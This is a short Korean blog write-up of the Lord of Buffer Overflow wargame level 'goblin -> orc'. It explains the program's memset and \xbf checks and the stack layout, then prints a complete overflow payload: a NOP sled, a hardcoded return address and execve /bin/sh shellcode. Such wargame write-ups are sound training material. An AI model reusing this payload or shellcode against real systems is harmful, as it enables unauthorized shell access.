ii4gsp

LOB - Level4 [goblin -> orc] 본문

시스템 해킹/LOB

LOB - Level4 [goblin -> orc]

ii4gsp 2020. 1. 14. 11:49

memset() 함수로 환경변수  메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다.

argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다.

 

 

 

 

gdb로 분석해보면 스택의 구조는

i

_______

buffer

________

SFP

________

RET

ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 <main+194>에 break point를 걸었다.

 

 

 

 

ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다.

 

 

 

 

 

payload

./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level5 [orc -> wolfman]  (0) 2020.01.14
LOB - Level3 [cobolt -> goblin]  (0) 2020.01.13
LOB - Level2 [gremlin -> cobolt]  (0) 2020.01.13
LOB - Level1 [gate -> gremlin]  (0) 2020.01.13
Comments